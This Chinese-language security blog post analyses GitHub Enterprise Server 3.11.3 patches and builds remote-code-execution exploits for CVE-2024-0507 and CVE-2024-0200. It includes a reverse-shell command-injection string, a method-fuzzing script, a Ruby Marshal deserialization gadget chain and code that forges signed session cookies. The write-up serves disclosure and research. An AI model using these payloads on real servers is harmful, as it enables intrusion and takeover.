在本帖中我们将对GitHub Enterprise Server(GHES)3.11.3版[1]引入的安全补丁进行分析,它涵盖了三个主要更改,修复了与CVE-2024-0507和CVE-2024-0200相关的漏洞,这两个漏洞被利用时会在GHES实例上远程执行代码,我们设法为它们创建了漏洞利用载荷
动机
1月中旬,GitHub发布了一篇博客文章[4]和漏洞CVE-2024-0507(由伊姆雷·拉德)和CVE-2024-0200(由星际实验室的非政府组织林炜)的补丁。CVE-2024-0200引起了我们的注意,因为它被描述为一个不安全的反射漏洞,可能导致远程代码执行,这种漏洞通常有有趣的利用方法,因此我们进行了补丁分析并尝试自己发现一个漏洞,值得注意的是当时还没有公开这些CVE的详细信息或漏洞
安全分析
通过查看3.11.3发行说明[1]的安全修复部分,我们可以看到这些记录的安全修复:
这些描述为我们提供了一些关于漏洞类型、可以实现的功能的线索并有助于在进行补丁分析时识别每个漏洞
获取源代码
在[5]可以很容易地获得GHES版本的OVA文件,对于修补程序分析,我们需要下载易受攻击的版本和已修补的版本:
漏洞版本: https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-3.11.2.ova
修复版本: https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-3.11.3.ova
下载后我们选择执行以下步骤来访问源代码:
- 提取每个OVA文件以获得VMDK文件
- 将这些VMDKs附加到VirtualBox中的某个虚拟机上
- 在客户机内部,安装磁盘
- 源代码文件可以在/data目录中找到。/data/enterprise_manage包含管理控制台的代码,而/data/github包含github应用程序的代码
- 源代码是加密的,所以我们需要使用一个脚本来解密它,比如[2]。注意:由于加密文件不再包含必需的"ruby_concealer.so"行,所以有必要在脚本中做一个小的补丁
如果您只想查看源代码而不想运行GHES,这种方法就足够了并且不需要有效的许可证
运行GHES的实例
因为我们也想挖掘漏洞,所以我们需要一个易受攻击的服务器实例来进行测试,我们为此生成了试用许可证,我们选择自己运行它,步骤如下所示:
- 生成45天试用许可证(https://enterprise.github.com/trial)
- 在VMware或VirtualBox中导入3.11.2版本的OVA
- 增加一个额外的硬盘(至少150GB)
- 启动它
- 访问控制台中通知的URL并继续配置
- 在配置期间添加您的ssh密钥以获得ssh访问(用于故障排除)
- 启用GitHub操作
注意:GitHub Enterprise需要大量的资源来运行,因此如果您计划完全运行它,请确保您满足所有要求(例如:GitHub Actions enabled)
补丁分析
当使用Meld工具[6]对两个版本进行差异分析时,我们发现了以下与安全问题相关的补丁:
修复管理控制台中的命令注入
我们发现了一个补丁,它改变了用于创建和执行命令的代码,在打补丁之前它连接变量来生成命令,在打补丁之后它将值作为参数传递,我们认为这个补丁与CVE-2024-0507有关
文件源码:/data/enterprise-manage/current/lib/manage/validators/actions_storage_settings_validator.Rb
通过查看文件名"actions_storage_settings_validator.Rb",我们可以推断它与一些"操作"设置的验证有关,可执行二进制文件的名称(ghe-Actions-test-storage-with-oidc)也告诉我们,它与使用oidc验证GitHub操作的存储设置有关。现在如果我们看一看导致该命令执行的代码,我们可以看到validate()方法从记录参数中获取值,这些值被直接插值以形成cs变量的值,该值经过更多的插值,直到到达Process.spawn()以执行命令
文件源码:/data/enterprise-manage/current/lib/manage/validators/actions_storage_settings_validator.Rb
# frozen_string_literal: true
class ActionsStorageSettingsValidator < ActiveModel::Validator
def validate(record)
cs = case record.blob_provider
when "azure"
if record.oidc_enabled?
"TenantId=#{record.azure_oidc.tenant_id};ClientId=#{record.azure_oidc.client_id};StorageAccount=#{record.azure_oidc.storage_account};EndpointSuffix=#{record.azure_oidc.endpoint_suffix};"
else
record.azure.connection_string
end
when "s3"
if record.oidc_enabled?
"BucketName=#{record.s3_oidc.bucket_name};RoleARN=#{record.s3_oidc.role_arn};Region=#{record.s3_oidc.region}"
else
"BucketName=#{record.s3.bucket_name};AccessKeyId=#{record.s3.access_key_id};SecretAccessKey=#{record.s3.access_secret};ServiceUrl=#{record.s3.service_url};ForcePathStyle=#{record.s3.force_path_style}"
end
when "gcs"
if record.oidc_enabled?
"BucketName=#{record.gcs_oidc.bucket_name};WorkloadProviderId=#{record.gcs_oidc.workload_id};ServiceAccount=#{record.gcs_oidc.service_acc};ServiceUrl=#{record.gcs_oidc.service_url}"
else
"BucketName=#{record.gcs.bucket_name};AccessKeyId=#{record.gcs.access_key_id};SecretAccessKey=#{record.gcs.access_secret};ServiceUrl=#{record.gcs.service_url};ForcePathStyle=#{record.gcs.force_path_style}"
end
else
errors.add :blob_provider, "is not supported"
return
end
if record.oidc_enabled?
cs = "#{cs};EnterpriseIdentifier=#{record.enterprise_identifier}"
# This will run as a background process
pid = Process.spawn("sudo -u admin ghe-actions-test-storage-with-oidc -cs '#{cs}' -p #{record.blob_provider}", pgroup: true, out: "/data/user/common/ghe-oidc-test-storage.log", err: :out)
Process.detach(pid)
else
(...)
我们还可以注意到分支条件if record.oidc_enabled?,它告诉我们需要使OIDC,在这种情况下能够帮助易受伤害的人,当我们登录管理控制台并转到设置页面时,很容易猜到我们可以在哪里控制这些输入值,如下图所示:
对于我们的测试,我们选择通过属性record.s3_oidc.bucket_name进行利用,单击"测试存储设置"后会出现命令注入,见下图所示:
该漏洞由编辑者角色帐户触发,这是有意义的,因为这种类型的帐户无权添加SSH密钥来授予对实例的管理SSH访问权限,而该漏洞将允许这种情况,[3]使得用户可以提升其权限或获得对根站点管理员帐户的访问权限
我们挖掘到了一个利用漏洞的方法,该方法获取具有编辑角色的用户的用户名和密码并利用此漏洞执行命令ghe-set-password,该命令将根站点管理员密码更改为已知密码,这样攻击者就可以作为根站点管理员登录管理控制台并添加自己的SSH密钥,如果您只是想要一个反向的shell,您可以使用类似以下的内容作为有效负载:
'; bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'; x='
漏洞可在以下网址找到:https://github.com/convisolabs/exploits/blob/main/CVE-2024-0507.py
修正了发送时的不安全反射#1
我们发现了这个补丁,用户可以控制在Organizations::Settings::repository items component实例的identifier_for方法中调用的方法
源码文件:/data/github/current/app/components/organizations/settings/repository_items_component.Rb
源码文件: /data/github/current/app/controllers/orgs/actions_settings/repository_items_controller.rb
我们注意到这可能与CVE-2024-0200有关,因为它是一个不安全的反射漏洞,为了更好地理解从rid_key参数到send()接收器的流程,让我们看一下Orgs::actionssettings::repository items controller控制器
源码文件:/data/github/current/app/controllers/orgs/actions_settings/repository_items_controller.rb
class Orgs::ActionsSettings::RepositoryItemsController < Orgs::Controller
include Actions::RunnerGroupsHelper
include Actions::RunnersHelper
include Orgs::RepositoryItemsHelper
before_action :login_required
before_action :ensure_organization_exists
before_action :organization_admin_required
before_action :ensure_trade_restrictions_allows_org_settings_access
before_action :ensure_can_use_org_runners
before_action :ensure_page_specified
(...)
根据控制器的名称,我们可以看到它与一些动作设置相关,这表明它需要GitHub动作才能启用。事实上如果我们看一下包含的Actions::RunnersHelper模块,我们可以看到它包含一个before_action来检查Actions是否被启用
file:/data/github/current/app/controllers/actions/runners_helper.Rb
# typed: false
# frozen_string_literal: true
require "github-launch"
require "github/launch_client"
module Actions::RunnersHelper
extend ActiveSupport::Concern
included do
before_action :ensure_actions_enabled
end
(...)
查看另一个before_action,我们可以看到它有一堆其他的要求,比如:某个组织的管理员登录的用户和必须指定的页码,现在让我们跟踪参数值如何到达send()方法,我们可以看到方法rid_key()返回params[:rid_key]的值,repository_identifier_key方法也返回rid_key()的值
源码文件:/data/github/current/app/controllers/orgs/actions_settings/repository_items_controller.Rb
class Orgs::ActionsSettings::RepositoryItemsController < Orgs::Controller
(...)
def index
(...)
respond_to do |format|
format.html do
render(Organizations::Settings::RepositoryItemsComponent.new(
organization: current_organization,
repositories: additional_repositories(selected_repository_ids),
selected_repositories: [],
current_page: page,
total_count: current_organization.repositories.size,
data_url: data_url,
aria_id_prefix: aria_id_prefix,
repository_identifier_key: repository_identifier_key,
form_id: form_id
), layout: false)
end
end
end
(...)
def rid_key
params[:rid_key]
end
(...)
def repository_identifier_key
return :global_relay_id unless rid_key.present?
rid_key
end
在index()方法的末尾,我们可以看到Organizations::Settings::repository items component被实例化,它将我们的控制值作为repository_identifier_key参数。
现在查看组件的代码,在构造函数中我们可以看到我们的值被赋给了@repository_identifier_key实例变量,该变量在调用identifier_for时被用作send()方法的参数。
源码文件:/data/github/current/app/components/organizations/settings/repository_items_component .Rb
# typed: true
# frozen_string_literal: true
class Organizations::Settings::RepositoryItemsComponent < ApplicationComponent
def initialize(organization:, repositories:, selected_repositories:, current_page:, total_count:, data_url:, aria_id_prefix:, repository_identifier_key: :global_relay_id, form_id: nil)
@organization = organization
@repositories = repositories
@selected_repositories = selected_repositories
@show_next_page = current_page * Orgs::RepositoryItemsHelper::PER_PAGE < total_count
@data_url = data_url
@current_page = current_page
@aria_id_prefix = aria_id_prefix
@repository_identifier_key = repository_identifier_key
@form_id = form_id
end
(...)
def render?
@show_next_page || @repositories.any?
end
def identifier_for(repository)
repository.send(@repository_identifier_key)
end
(...)
但是谁调用identifier_for的呢?它由每个存储库的组件视图调用,这就引出了最后一个要求,即组织中必须至少存在一个存储库
源码文件:/data/github/current/app/components/organizations/settings/repository_items_component.html.erb
<%# erblint:counter ButtonComponentMigrationCounter 1 %>
<% @repositories.each do |repository| %>
<li <% unless first_page? %> hidden <% end %> class="css-truncate d-flex flex-items-center width-full">
<input
<%= "form=#{@form_id}" if @form_id.present? %>
type="checkbox" name="repository_ids[]"
value="<%= identifier_for(repository) %>"
id="<%= @aria_id_prefix %>-<%= repository.id %>"
<%= " checked" if @selected_repositories.include?(identifier_for(repository)) %>
(...)
总而言之,这些是漏洞要求:
- 需要启用GitHub操作
- 必须有一个组织
- 用户必须是组织管理员
- 组织必须至少有一个存储库
- 您必须提供大于0的页面参数
现在我们需要知道到达控制器的路由,我们可以在config/routes/actions.rb的路由定义文件中找到
文件源码:/data/github/current/config/routes/actions.Rb
(...)
get "/organizations/:organization_id/settings/actions/repository_items", to: "orgs/actions_settings/repository_items#index", as: :settings_org_actions_repository_items
(...)
这是一个GET请求,其中组织id作为路径参数,其他(page和rid_key)作为查询参数,当我们使用xxx作为rid_key参数的值向易受攻击的GHES实例发送这样的请求时,我们得到一个错误500
考虑到调用未定义的方法会引发异常并导致这样的页面,这实际上是一个好现象,现在让我们利用对GHES实例的SSH访问(通过我们在初始设置时添加的SSH密钥)来查看生产日志:
gbr@ubuntu:~$ ssh -p 122 admin@192.168.1.6
admin@mygithub-local:~$ grep -A5 'xxx' /var/log/github/production.log
NoMethodError (undefined method `xxx' for #<Repository id: 1, name: "FZfh1rp3qx", owner_id: [FILTERED], parent_id: nil, sandbox: nil, updated_at: [FILTERED], created_at: [FILTERED], public: [FILTERED], description: nil, homepage: nil, source_id: [FILTERED], public_push: nil, disk_usage: [FILTERED], locked: [FILTERED], pushed_at: [FILTERED], watcher_count: [FILTERED], public_fork_count: [FILTERED], primary_language_name_id: nil, has_issues: [FILTERED], has_wiki: [FILTERED], has_downloads: [FILTERED], raw_data: [FILTERED], organization_id: 5, disabled_at: nil, disabled_by: nil, disabling_reason: nil, health_status: nil, pushed_at_usec: [FILTERED], active: [FILTERED], reflog_sync_enabled: [FILTERED], made_public_at: [FILTERED], user_hidden: [FILTERED], maintained: [FILTERED], template: [FILTERED], owner_login: [FILTERED], world_writable_wiki: [FILTERED], refset_updated_at: nil, disabling_detail: nil, archived_at: nil, deleted_at: nil>):
/github/vendor/gems/3.2.2/ruby/3.2.0/gems/activemodel-7.1.0.alpha.bb4dbd14f8/lib/active_model/attribute_methods.rb:489:in `method_missing'
/github/app/components/organizations/settings/repository_items_component.rb:26:in `identifier_for'
/github/app/components/organizations/settings/repository_items_component.html.erb:7:in `block in call'
/github/vendor/gems/3.2.2/ruby/3.2.0/gems/activerecord-7.1.0.alpha.bb4dbd14f8/lib/active_record/relation/delegation.rb:100:in `each'
/github/vendor/gems/3.2.2/ruby/3.2.0/gems/activerecord-7.1.0.alpha.bb4dbd14f8/lib/active_record/relation/delegation.rb:100:in `each'
我们在生产日志文件中查找"xxx",结果出现了错误!我们设法触发了漏洞,因此我们可以调用存储库实例中任何可用的方法,但是我们不能向它提供任何参数,我们能用它做什么?如何用这个获得远程代码执行?这不像我们可以调用诸如"eval"之类的方法并提供一些要执行的代码
如果这个存储库实例有某种可疑的方法可以启用某种调试模式,使应用程序接受命令,那该怎么办?如果某些方法会泄漏有用的信息,比如:环境变量,那该怎么办?我们知道对于Rails应用程序,如果我们获得了cookies的签名秘密,我们通常可以通过反序列化获得RCE。
考虑到这一点,我们决定获取所有可供调用的方法的列表。为此我们发送"methods"字符串作为rid_key的值,它是一个方法[7],返回一个对象的公共和受保护方法的名称列表,它还将包括对象祖先中可访问的方法
响应将包括一个大列表,其中包含我们可以调用的所有方法,超过5000个方法我们决定根据他们的名字过滤掉一些,我们创建了另一个列表,过滤掉以"_path"、"_url"、"?"结尾的方法名、"="、"change"、"database"或包含"autosave"或"validate",这给了我们一个由大约2600个方法名组成的新列表
我们创建了一个简单的Python脚本,该脚本将为列表中的每个方法名发送一个请求并将响应记录在一个文件中
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def send_request(url, headers, params):
response = requests.get(url, headers=headers, params=params, verify=False)
return response
def save_response(method_name, response):
with open("method_" + method_name, 'w') as file:
file.write(response.text)
def read_wordlist(file_path):
with open(file_path, 'r') as file:
wordlist = [line.strip() for line in file]
return wordlist
def fuzzer(url, wordlist_path, headers):
wordlist = read_wordlist(wordlist_path)
for word in wordlist:
params = {"page": 1, "rid_key": word}
response = send_request(url, headers, params)
save_response(word, response)
print(f"Param: rid_key={word}, Status Code: {response.status_code}")
if __name__ == "__main__":
org = 'org'
url = f"https://mygithub.local/organizations/{org}/settings/actions/repository_items"
headers = {'Cookie': 'YOUR COOKIE HERE'}
wordlist_path = "lista.txt"
fuzzer(url, wordlist_path, headers)
运行脚本后我们开始检查文件,试图注意输出中任何有趣的东西,就在那时我们在包含restore_objects方法输出的文件中发现了一个环境变量转储
文件源码: method_restore_objects
如果您跟踪这个方法,您会发现它到达一个GitRPC调用,该调用产生一个进程并返回环境变量以及其他信息作为结果,这个环境变量dump包含各种秘密信息,比如:令牌、密码散列和密钥!
鉴于我们可以访问环境变量,我们决定采取尝试执行反序列化攻击的方法来实现RCE,我们已经注意到的一件事是cookie _gh_render是用Marshal序列化的,因为它以"BAh"前缀开始,这个前缀代表base64编码的Marshal头。[8]
在对"_gh_reader"进行grep时,我们得到了以下代码:
文件源码:/data/github/current/lib/github/enterprise/middleware.Rb
(...)
builder.insert_after GitHub::Routers::Api, DualSession, "render.session",
key: "_gh_render",
path: "/",
expire_after: (365 * 24 * 60 * 60), # seconds
secret: GitHub.session_secret,
secure: GitHub.ssl?
(...)
使用ghe-console我们获得了GitHub.session_secret的值并确认该值作为ENTERPRISE_SESSION_SECRET出现在环境变量dump中
现在我们需要准备我们的有效载荷,当反序列化时它会给我们一个反向shell,我们选择从众所周知的gadget active support::Deprecation::DeprecatedInstanceVariableProxy[8][9]开始,它允许我们对任何想要的对象执行任何方法,但不能传递参数。
文件源码:/data/github/current/vendor/gems/3.2.2/ruby/3.2.0/gems/active support-7.1.0αbb4DBD14f8/lib/active_support/deprecation/proxy_wrappers.Rb
(...)
class DeprecatedInstanceVariableProxy < DeprecationProxy
def initialize(instance, method, var = "@#{method}", deprecator = nil)
@instance = instance
@method = method
@var = var
ActiveSupport.deprecator.warn("DeprecatedInstanceVariableProxy without a deprecator is deprecated") unless deprecator
@deprecator = deprecator || ActiveSupport::Deprecation._instance
end
private
def target
@instance.__send__(@method)
end
def warn(callstack, called, args)
@deprecator.warn("#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}", callstack)
end
end
(...)
这发生在command@instance.send(@method),其中为我们提供的实例执行我们提供的方法,以下Ruby脚本可用于生成序列化的有效负载:
class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy
def initialize(instance, method)
@instance = instance
@method = method
@deprecator = ActiveSupport::Deprecation.new
end
end
end
end
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, 123
depr.instance_variable_set :@method, :lol
depr.instance_variable_set :@var, "@lol"
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new
puts(Marshal.dump(depr).inspect)
您可以获取该脚本的输出并将其作为输入提供给ghe-console中的Marshal.load()调用,我们建议您使用在GHES使用的相同Ruby版本(ruby 3.2.2)运行这个脚本
我们可以看到对象123调用了方法lo1,现在我们只需要找到一个类,它有一个实例方法,当被调用时(没有参数)会使用实例变量做一些危险的操作,经过一些greps之后,我们发现了一个非常合适的类,名为Aqueduct::Worker::Worker,它是在运行时加载的,调用kill_child方法时,会使用system()执行一个命令,该命令包含带有实例变量@child的插值
文件源码:/data/github/current/vendor/gems/3.2.2/ruby/3.2.0/gems/aqueduct-client-1.1.0/lib/aqueduct/worker/worker.Rb
module Aqueduct
module Worker
class Worker
attr_reader :backend, :queues, :config, :logger, :current_job, :current_job_started_at, :last_heartbeat_at
(...)
def kill_child
if @child
logger.warn("Killing child at #{@child}")
if system("ps -o pid,state -p #{@child}")
Process.kill("KILL", @child) rescue nil
else
logger.warn("Child #{@child} not found, restarting.")
shutdown
end
(...)
现在我们可以通过将该类与active support::Deprecation::DeprecatedInstanceVariableProxy结合来最终确定我们的有效负载,请参见下面的Ruby脚本:
class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy
def initialize(instance, method)
@instance = instance
@method = method
@deprecator = ActiveSupport::Deprecation.new
end
end
end
end
code = 'touch /tmp/hacked'
module Aqueduct; module Worker; class Worker; end; end; end
class Logger; end
worker = Aqueduct::Worker::Worker.allocate
worker.instance_variable_set :@child, "99999999; " + code
worker.instance_variable_set :@logger, Logger.allocate
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, worker
depr.instance_variable_set :@method, :kill_child
depr.instance_variable_set :@var, "@kill_child"
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new
puts(Marshal.dump(depr).inspect)
当在ghe控制台中尝试有效载荷时,我们可以看到它工作正常
准备好有效负载后我们可以对其进行base64编码,使用泄露的秘密计算其签名并准备好要发送到服务器的会话cookie,如下面的Python片段所示:
(...)
marshal_code = YOUR_SERIALIZED_PAYLOAD
marshal_encoded = base64.b64encode(bytes(marshal_code, 'UTF-8')).rstrip()
digest = hmac.new(bytes(SESSION_SECRET, 'UTF-8'), marshal_encoded, hashlib.sha1).hexdigest()
marshal_encoded = urllib.parse.quote(marshal_encoded)
session_cookie = "%s--%s" % (marshal_encoded, digest)
print(session_cookie)
cookies = {'_gh_render': session_cookie}
我们把所有东西放在一起创建了一个漏洞,它将目标服务器、组织所有者的用户名/密码和反向外壳的IP/端口作为输入,漏洞利用载荷可在以下网址找到:https://github.com/convisolabs/exploits/blob/main/CVE-2024-0200.py
鉴于这是一个不安全的反射漏洞,需要用户具有"组织所有者角色",如CVE中所述,并且我们能够利用它实现远程代码执行,我们认为这与CVE-2024-0200有关
修正send#2的不安全反射
我们发现这个补丁中,用户可以控制在custom_path_for方法中调用的方法(通过path变量)
文件源码:/data/github/current/app/components/context_switcher/list_component.Rb
我们发现了触发此漏洞的控制器(context switcher::contexts controller),但发现它在确保_非_企业_服务器检查环境是否是"dotcom"而不是"enterprise"
文末结论
在这篇文章中我们描述了当CVE描述缺乏详细信息时,如何分析GitHub Enterprise Server中的安全补丁的方法,这也适用于其他应用程序,我们看到了如何从分析源代码开始创建漏洞利用并展示了如何为目标应用程序开发定制的反序列化负载
参考链接
[1] Enterprise Server 3.11.3
[2] decrypt_github_enterprise.rb
[3] Management Console user
[4] Rotating credentials for GitHub.com and new GHES patches
[5] Releases
[6] Meld Visual diff and merge tool
[7] Class Object
[8] Phrack Issues
[9] writeups